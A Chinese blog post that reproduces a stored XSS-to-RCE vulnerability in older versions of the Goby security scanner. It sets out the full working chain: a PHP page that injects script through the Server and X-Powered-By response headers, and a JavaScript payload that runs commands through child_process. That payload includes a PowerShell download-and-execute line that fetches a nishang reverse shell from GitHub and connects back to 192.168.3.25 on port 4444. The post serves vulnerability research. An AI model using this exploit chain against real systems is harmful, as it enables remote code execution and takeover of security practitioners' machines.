复现Goby XSS-RCE
上周看到了漂亮鼠师傅的文章,文章中针对Goby实现了储存型XSS和RCE,今天打算复现一下,然后想找一下之前发的那篇文章,发现已经被投诉了,但是互联网档案馆保存了下来,链接:https://web.archive.org/web/20210813032328/https://mp.weixin.qq.com/s/tl17-Qz-VXpSlZtZWDgeHg
复现版本
Goby官方版,版本号为v1.8.292 beta
,系统环境Windows10
。应该版本号小于v1.8.299 beta
都是可以复现的
漏洞复现
根据文章,将如下代码保存到
index.php
中,并启用HTTP服务,phpstudy、宝塔都可以,因为宝塔上有现成的环境所以我用宝塔复现的<?php header("X-Powered-By: PHP/<img src=1 onerror=alert(\"1233333\")>"); header("Server: nginx/<img src=1 onerror=alert(\"123\")>"); ?>
- 使用Goby扫描含有
index.php
的网站,可以看到XSS代码已经出现到了Goby里 - 点进详情后,触发XSS弹窗
- 接下来根据漂亮鼠师傅的文章构造RCE
因为漂亮鼠师傅是Mac环境,我是Windows环境,所以需要修改一下相关的js文件和php文件
(function(){ require('child_process').exec('start C:\\WINDOWS\\system32\\notepad.exe'); require('child_process').exec('powershell IEX (New-Object Net.WebClient).DownloadString(\'https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.3.25 -port 4444'); })();
<?php header("Server: nginx/<img src=1 onerror=import(unescape('http%3A//192.168.3.25/goby.js'))>"); ?>
- 这里我犯了一个错误,漂亮鼠师傅都是本地环境,所以在header中引入的网址是本地
127.0.0.1
的地址,我刚开始也傻逼的填了127.0.0.1
,发现没法实现RCE,找了一下午问题,最后发现了是引用的URL问题,浪费了很多时间。 - 现在使用Goby扫描该服务器,即可实现弹
notepad
并反弹shell
《复现Goby XSS-RCE》链接:https://xdym11235.com/archives/76.html
具体版权规定详见侧栏版权说明页面